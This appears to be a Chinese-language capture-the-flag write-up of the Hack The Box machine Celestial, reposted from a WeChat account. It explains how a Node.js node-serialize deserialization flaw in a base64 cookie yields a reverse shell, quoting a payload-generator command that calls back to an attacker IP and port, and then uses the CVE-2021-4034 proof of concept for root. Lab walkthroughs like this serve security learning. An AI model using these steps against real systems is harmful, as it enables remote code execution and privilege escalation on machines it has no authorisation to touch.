本次write up内容是Hack The Box里machines的靶场Celestial。
1-信息收集
首先使用Nmap进行端口嗅探,只发现了开放3000端口。
访问3000端口的WEB页面,页面内容只显示了404,查看源码也未发现其他信息。
刷新一下页面后内容发生变化,但也没有发现其他有用的信息。
使用Burpsuite抓包一下,再次刷新WEB页面后抓包查看数据包内容,发现数据包中的COOKIE字段信息是base64的编码。
对字符串解码得到一下内容
{
“username”:”Dummy”,
“country”:”ldk Probably Somewhere Dumb”,
“city”:”Lametown”,
“num”:”2”fQ==
尝试修改下参数值看有没有返回其他信息,将”num”:”2”的值修改,重新将修改的值进行base64编码。
将修改的内容替换原来的cookie,重放数据包,返回了报错信息。
查看报错发现关键信息node-serialize和express,由此可得知当前系统是采用Node.js。
Nodejs是一个基于Chrome V8引擎的JavaScript运行环境,一个让JavaScript运行在服务端的开发平台。
node-serialize是Node.js的模块,express是目前最流行的基于Node.js的Web开发框架,可以快速地搭建一个完整功能的网站。
2-Node.js反序列化
查找下node-serialize模块的相关信息,一百度就看到一大堆的node-serialize反序列化漏洞文章,那利用的思路就有了。
漏洞详情:
Node.js反序列化漏洞是由node-serialize模块导致的,该模块是在unserialize函数模块中导致无法验证用户提供的输入,若不可信的数据传入 unserialize() 函数,通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。
参考链接:
https://help.aliyun.com/knowledge_detail/50422.html
3-漏洞利用
搜索下exploit ,在GitHub上找到可利用的工具,具体exploit地址:
https://github.com/hoainam1989/training-application-security/blob/master/shell/node_shell.py
下载完后输入命令,配置攻击机的IP(10.10.14.17)和端口(6666):
python node_shell.py -r -h 10.10.14.17 -p 6666 -e -o
将生成的内容进行base64编码。
替换到cookie里,重放数据包。
或在浏览器里使用hackbar进行发送。
同时nc监听6666端口,成功getshell。
获取到第一个flag文件user.txt。
4-权限提升
开始提权,直接简单粗暴的使用核弹级提权工具cve-2021-4034-poc。
在攻击机上开启http服务进行文件传输。
在靶机上访问攻击机的地址并下载cve-2021-4034-poc.c文件
(如果直接下载已经编译好的POC文件会因为没有权限而无法执行)。
在靶机上进行编译,直接执行POC文件。
成功提权。
查找第二个flag文件root.txt
成功提交。
原文始发于微信公众号(Matrix1024):HTB靶场系列之Celestial通关攻略
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论